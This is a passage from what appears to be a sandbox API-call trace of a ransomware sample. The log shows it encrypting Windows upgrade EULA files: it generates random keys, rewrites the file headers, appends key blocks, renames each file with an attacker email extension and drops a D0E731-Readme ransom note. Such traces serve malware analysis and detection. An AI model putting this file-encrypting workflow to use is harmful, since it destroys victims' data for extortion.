(lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0080.333] RtlExitUserThread (Status=0x1) Thread: id = 1006 os_tid = 0x16bc [0080.300] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm")) returned 0x20 [0080.300] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm", dwFileAttributes=0x20) returned 1 [0080.300] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.300] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2443f78c | out: lpFileSize=0x2443f78c*=69386) returned 1 [0080.300] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x10f06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.300] ReadFile (in: hFile=0x454, lpBuffer=0x2443f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2443f75c, lpOverlapped=0x0 | out: lpBuffer=0x2443f760*, lpNumberOfBytesRead=0x2443f75c*=0x4, lpOverlapped=0x0) returned 1 [0080.335] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34915d8 [0080.335] NtQuerySystemTime (in: CurrentTime=0x2443f738 | out: CurrentTime=0x2443f738*=132121176382248378) returned 0x0 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x95c284c0 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xbaf0d012 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x7b55b363 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xc0eb94bf [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x63f31fc [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xa512bb3a [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x3cc8942b [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x75ac2663 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xcece4c81 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xa754b7d2 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xf0121fca [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xa3fe960a [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x4f27dbc7 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x4e09c5f9 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x970e1519 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x5fe1d2ff [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xa5b6d9a [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xbc6ed98b [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x3f7ae5e1 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xdc2b8c3d [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xaeea562b [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x9ceaf284 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x44b7bce3 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xa30c719b [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xba07ae44 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x6f4ba2e7 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xad9398fc [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x7f1fc10 [0080.335] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xd277013f [0080.336] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x1d245a14 [0080.336] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0x3c4afa5a [0080.336] RtlRandom (in: Seed=0x2443f744 | out: Seed=0x2443f744) returned 0xf37b8dde [0080.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.346] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.346] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2443f710, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2443f710*=0x4096, lpOverlapped=0x0) returned 1 [0080.347] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.348] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2443f710, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2443f710*=0x4096, lpOverlapped=0x0) returned 1 [0080.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.348] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x10f0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.348] WriteFile (in: hFile=0x454, lpBuffer=0x3491600*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2443f748, lpOverlapped=0x0 | out: lpBuffer=0x3491600*, lpNumberOfBytesWritten=0x2443f748*=0x20, lpOverlapped=0x0) returned 1 [0080.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.348] WriteFile (in: hFile=0x454, lpBuffer=0x3491650*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2443f75c, lpOverlapped=0x0 | out: lpBuffer=0x3491650*, lpNumberOfBytesWritten=0x2443f75c*=0x8, lpOverlapped=0x0) returned 1 [0080.348] WriteFile (in: hFile=0x454, lpBuffer=0x2443f774*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2443f75c, lpOverlapped=0x0 | out: lpBuffer=0x2443f774*, lpNumberOfBytesWritten=0x2443f75c*=0x4, lpOverlapped=0x0) returned 1 [0080.348] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2443f75c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2443f75c*=0x4, lpOverlapped=0x0) returned 1 [0080.349] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2443f75c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2443f75c*=0x6c, lpOverlapped=0x0) returned 1 [0080.349] WriteFile (in: hFile=0x454, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2443f75c, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x2443f75c*=0x20, lpOverlapped=0x0) returned 1 [0080.349] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2443f75c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2443f75c*=0x4, lpOverlapped=0x0) returned 1 [0080.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491650) returned 1 [0080.349] CloseHandle (hObject=0x454) returned 1 [0080.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.349] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" [0080.349] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731" [0080.349] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.350] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.350] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm", dwFileAttributes=0x20) returned 0 [0080.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.350] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.350] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.350] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480840) returned 1 [0080.350] RtlExitUserThread (Status=0x1) Thread: id = 1007 os_tid = 0x16c0 [0080.347] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm")) returned 0x20 [0080.351] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm", dwFileAttributes=0x20) returned 1 [0080.352] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.352] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x244bfd5c | out: lpFileSize=0x244bfd5c*=69386) returned 1 [0080.352] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x10f06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.352] ReadFile (in: hFile=0x454, lpBuffer=0x244bfd30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x244bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x244bfd30*, lpNumberOfBytesRead=0x244bfd2c*=0x4, lpOverlapped=0x0) returned 1 [0080.353] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491650 [0080.353] NtQuerySystemTime (in: CurrentTime=0x244bfd08 | out: CurrentTime=0x244bfd08*=132121176382404116) returned 0x0 [0080.353] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xe3b75ac [0080.353] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xc574abac [0080.353] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xdb2bbcdc [0080.353] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xc1eeefe8 [0080.353] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x64da3632 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x4428f1ee [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x977e18b6 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xdce682c3 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x4b635ffb [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x875b546c [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xb48a7eda [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x57de459b [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xd60954f9 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x9cd65539 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xa91f52bf [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x853129e9 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x605499ee [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x9ad7cfa7 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xf55b9eef [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xe5aa7b9 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x34778541 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x4f4ce6c3 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x7091884b [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x9e7720e4 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xb3b10bf7 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xc46cee86 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xfadf13b9 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x21ecd658 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x516e0930 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x3128aeaf [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0xb8ce84b8 [0080.354] RtlRandom (in: Seed=0x244bfd14 | out: Seed=0x244bfd14) returned 0x9dbf6173 [0080.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480840) returned 1 [0080.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.365] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.365] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x244bfce0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x244bfce0*=0x4096, lpOverlapped=0x0) returned 1 [0080.366] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480840 [0080.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480840) returned 1 [0080.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.366] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x244bfce0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x244bfce0*=0x4096, lpOverlapped=0x0) returned 1 [0080.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.367] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x10f0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.367] WriteFile (in: hFile=0x454, lpBuffer=0x3491600*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x244bfd18, lpOverlapped=0x0 | out: lpBuffer=0x3491600*, lpNumberOfBytesWritten=0x244bfd18*=0x20, lpOverlapped=0x0) returned 1 [0080.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.367] WriteFile (in: hFile=0x454, lpBuffer=0x34916a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x244bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x34916a0*, lpNumberOfBytesWritten=0x244bfd2c*=0x8, lpOverlapped=0x0) returned 1 [0080.367] WriteFile (in: hFile=0x454, lpBuffer=0x244bfd44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x244bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x244bfd44*, lpNumberOfBytesWritten=0x244bfd2c*=0x4, lpOverlapped=0x0) returned 1 [0080.367] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x244bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x244bfd2c*=0x4, lpOverlapped=0x0) returned 1 [0080.367] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x244bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x244bfd2c*=0x6c, lpOverlapped=0x0) returned 1 [0080.367] WriteFile (in: hFile=0x454, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x244bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x244bfd2c*=0x20, lpOverlapped=0x0) returned 1 [0080.367] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x244bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x244bfd2c*=0x4, lpOverlapped=0x0) returned 1 [0080.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916a0) returned 1 [0080.367] CloseHandle (hObject=0x454) returned 1 [0080.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.368] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" [0080.368] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731" [0080.368] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.368] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.368] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm", dwFileAttributes=0x20) returned 0 [0080.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.369] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.369] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.369] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0080.369] RtlExitUserThread (Status=0x1) Thread: id = 1008 os_tid = 0x16c4 [0080.370] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm")) returned 0x20 [0080.370] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm", dwFileAttributes=0x20) returned 1 [0080.370] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.370] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2453fdd0 | out: lpFileSize=0x2453fdd0*=864647) returned 1 [0080.370] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xd3183, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.370] ReadFile (in: hFile=0x454, lpBuffer=0x2453fda4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2453fda0, lpOverlapped=0x0 | out: lpBuffer=0x2453fda4*, lpNumberOfBytesRead=0x2453fda0*=0x4, lpOverlapped=0x0) returned 1 [0080.372] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916a0 [0080.372] 